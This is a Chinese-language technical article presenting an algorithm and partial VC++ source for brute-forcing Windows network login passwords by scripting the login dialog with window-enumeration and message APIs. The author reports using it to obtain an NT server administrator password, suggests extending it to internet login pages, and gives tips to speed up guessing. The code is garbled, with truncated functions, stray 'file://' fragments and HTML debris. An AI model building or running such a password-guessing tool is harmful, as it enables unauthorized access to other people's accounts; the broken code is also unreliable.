windows網路使用者密碼猜解演算法的主要思想是:利用windows提供的視窗列舉函式enumwindows ()找到網路登入視窗。利用子視窗列舉函式enumchildwindows ()或getnext-dlgtabitem()和getwindowlong()定位網路登入視窗上的各個控制項。利用senddlgitemmessage()或setdlgitemtext()來輸入使用者名稱及密碼。利用sendmessage()傳送「確定」訊息。這樣一來,就利用程式完成了整個網路登入過程。在重複這個過程中採用列舉的使用者名稱和密碼,進而完成網路使用者名稱及密碼的列舉猜解。
一、猜解過程流程:
為說明問題,下面只寫出主要的過程。對於關鍵過程給出用vc++實現的原始碼。下面的流程中mutex.lock和mutex.unlock之間的**只允許單執行緒訪問。「密碼列舉完」是指使用者指定的字元集合已被列舉完,程式將再列舉乙個新的使用者名稱,然後重新列舉這個字元集合。關於原始碼中各函式的具體用法,請參閱msdn。關於多執行緒的用法,可參閱《visualc++技術內幕》。
下面給出關鍵流程的源**(程式流程見圖1-1):
1. 全域性變數:
struct _thread
; _thread windowthread[iproc],passtread[1],usertread[1]; )//iproc:視窗列舉執行緒數
cevent geventnextpass;//取下乙個密碼,為實現同步引進
cevent geventpassok;//已取得密碼,為實現同步引進
cevent geventnextuser;//取下乙個使用者名稱,為實現同步引進
cevent geventuserok;// 已取得使用者名稱,為實現同步引進
cmutex gmutex;//互斥量,只允許單執行緒訪問
char ccurrentpass[max_password_length]; file://當前使用的密碼。
char ccurrentuser[max_user_length];//當前使用的使用者名稱
2. 執行緒啟動:
file://使用者名稱列舉執行緒
if(usertread[0].pthread==null)
file://視窗列舉執行緒
for(int i=0;i
}3.視窗及子視窗列舉
uint threadproc(lpvoid *ppraram)
return 0; }
bool callback enumwindowsproc(hwnd hwnd,lparam lparam)
return true;
} bool callback enumchildproc( hwnd hwnd,lparam lparam)
return true;
} file://非此即彼,這是使用者名稱輸入編輯控制項
if((dwinsty&es_readonly)!=es_readonly) }
return true;
} file://如果是按鈕控制項
if(strcmp(schildname,"button")==0)
return true;
} return true; }
4.使用者名稱列舉:
uint getnextuserf(file *file)
while(!feof(fuser))
token=strtok(cuser,setprate);// #define setprate " /t/n/r"
do while((token=strtok(null,setprate))!=null);
} return 1; }
5.密碼列舉:
uint getnextpassl(lpvoid pparam)
while( ccurrentpclist[0]>=0)//如果curlist.ccurrentpclist[0]<0 結束
waitforsingleobject(geventnextpass,infinite);
// 等待「新密碼」事件
geventnextpass.resetevent();//復位。
for(int n=0;n
< td>
strcpy( ccurrentpass,cbuf);//改變當前密碼。
geventpassok.setevent();//送密碼完成事件
file://進行ccurrentpclist陣列的處理。
if(( ccurrentpclist[i-1]--)==0)break;
} file://最後一位復icharcount;;
ccurrentpclist[i-1]= icharcount;
ipre=1;//借位標誌
for(j=i-2;j>=0;j--)
else //不必再向上借位。
} }if(ccurrentpclist[0]<=0)
geventnextuser.setevent();//傳送「新使用者名稱」事件
waitforsingleobject(geventuserok,infinite);
file://等待「使用者名稱完成」事件
geventuserok.resetevent();//復位。
goto begin;
} return 0; }
二、在區域網及互連網的應用:
筆者利用按照以上演算法編寫的軟體,在乙個區域網的windowsnt工作站上成功地取得了另一台windowsnt 伺服器的administrator的密碼。同樣們也可以利用這一演算法編寫猜解互連網上密碼的軟體。關鍵的問題是如何在網頁中定位使用者名稱輸入框和密碼輸入框以及「確定」按鈕。
三、存在的問題及解決辦法:
在10m/100m區域網裡,登入windowsnt伺服器失敗後,大約0.7秒鐘左右後,才再次彈出網路登入對話方塊。這乙個時間開銷嚴重地制約著猜解的速度。折衷的解決辦法是通過「資源管理器」同時開啟多個網路登入對話方塊(從「網路鄰居」只能開啟乙個網路登入對話方塊),這樣可成倍提高猜解的速度,但仍是太慢。此外,可利用幾台計算機同時猜解。至於猜解互連網上密碼,其速度可想而知了。不過也沒關係,許多的密碼是數字組成的,更多的密碼沒有超出26個字元加10個數字的範圍。而且人們使用這26個字元和10個數字的頻率是不一樣的,可以在列舉時先列舉使用頻率高的。